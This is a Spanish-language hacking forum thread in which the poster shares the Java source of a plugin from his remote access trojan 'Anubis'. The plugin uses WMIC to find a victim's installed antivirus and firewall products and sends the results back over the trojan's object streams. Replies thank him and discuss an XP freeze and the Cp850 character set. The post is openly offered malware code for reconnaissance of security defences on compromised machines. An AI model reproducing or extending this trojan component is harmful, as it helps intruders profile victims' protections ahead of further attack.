Página 1 de 1

Obtener Nombre del AV instalado usando WMIC

Publicado: 04 Nov 2012, 01:02
por adwind
Bueno es código que les muestro es un plugin que usa mi rat Anubis. El cual detecta que antivirus tengo instalado y que firewall, lo coloco tal y como lo uso en el plugin por que asi a los que verdaderamente les interesa aprender analizaran el codigo, y obtendran lo esencial. Hago uso de WMIC. el valor "SecurityCenter2"; es para windows vista hacia arriba y "SecurityCenter" es para windows xp.

Código: Seleccionar todo

package _1000_;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author adwind
 */
public class InfoAv extends Thread {

    private ObjectInputStream in;
    private ObjectOutputStream out;

    public InfoAv(ObjectInputStream in, ObjectOutputStream out) {
        this.in = in;
        this.out = out;
    }

    private String getNameSpace() {
        if (System.getProperty("os.name").startsWith("Win")) {
            String SoVersion = System.getProperty("os.version");
            Double version = Double.parseDouble(SoVersion);
            if (version >= 6) {
                return "SecurityCenter2";
            } else {
                return "SecurityCenter";
            }
        } else {
            return null;
        }
    }

    public void getInfo(String nameSpace) {
        try {
            out.writeUTF("##########Antivirus#########");
            out.flush();
            Process p = Runtime.getRuntime().exec(new String[]{"WMIC", "/Node:localhost", "/Namespace:\\\\root\\" + nameSpace, ""
                        + "Path", "AntiVirusProduct", "Get", "/Format:List"});
            String T;
            p.waitFor();
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "Cp850"));

            while ((br.ready())) {
                T = br.readLine();
                if (T.isEmpty()) {
                    continue;
                }
                out.writeUTF(T);
                out.flush();
            }
            out.writeUTF("##########Firewall#########");
            out.flush();
            p = Runtime.getRuntime().exec(new String[]{"WMIC", "/Node:localhost", "/Namespace:\\\\root\\" + nameSpace, ""
                        + "Path", "FirewallProduct", "Get", "/Format:List"});
            p.waitFor();
            br = new BufferedReader(new InputStreamReader(p.getInputStream(), "Cp850"));

            while ((br.ready())) {
                T = br.readLine();
                if (T.isEmpty()) {
                    continue;
                }
                out.writeUTF(T);
                out.flush();
            }
        } catch (Exception ex) {
            System.out.println("termina");
            System.out.println(ex.getMessage());

        }

    }

    public void run() {
        String tmp = getNameSpace();
        if (tmp == null) {
            try {
                out.writeUTF("Error dont support");
                out.flush();
            } catch (IOException ex) {
                Logger.getLogger(InfoAv.class.getName()).log(Level.SEVERE, null, ex);
           }

        } else {
            getInfo(tmp);
        }
        try {
            while (true) {
                String texto = in.readUTF();
            }
        } catch (IOException ex) {
//            Logger.getLogger(mensaje.class.getName()).log(Level.SEVERE, null, ex);
        }


    }
}


Re: Obtener Nombre del AV instalado usando WMIC

Publicado: 28 Feb 2013, 04:58
por valium7
Gracias Adwind sabia que la info del pc se podía obtener con wmi
pero lo del l av no sabía exactamente cómo xD

Re: Obtener Nombre del AV instalado usando WMIC

Publicado: 03 Mar 2013, 05:09
por adwind
valium7 escribió:Gracias Adwind sabia que la info del pc se podía obtener con wmi
pero lo del l av no sabía exactamente cómo xD

En XP se congela el proceso o.o. En lo que respecta windows vista hasta 8 va bien.

Re: Obtener Nombre del AV instalado usando WMIC

Publicado: 07 Mar 2013, 03:16
por valium7
Y que es el cp850 de

Código: Seleccionar todo

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "Cp850"));
que significa

Re: Obtener Nombre del AV instalado usando WMIC

Publicado: 07 Mar 2013, 04:40
por adwind
valium7 escribió:Y que es el cp850 de

Código: Seleccionar todo

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "Cp850"));
que significa
Es el juego de caracteres que usa Windows en sus sistemas operativos no Unicode.

Sirve para indicar que juegos de caracteres usar cuando se regresa el Stream, ya que si no se coloca en algunas maquinas no te regresa bien las Ñ por ejemplo u otro caracter raro.


[Enlace externo eliminado para invitados]

Re: Obtener Nombre del AV instalado usando WMIC

Publicado: 23 Oct 2013, 22:00
por Leizerbick
Gracias Adwind.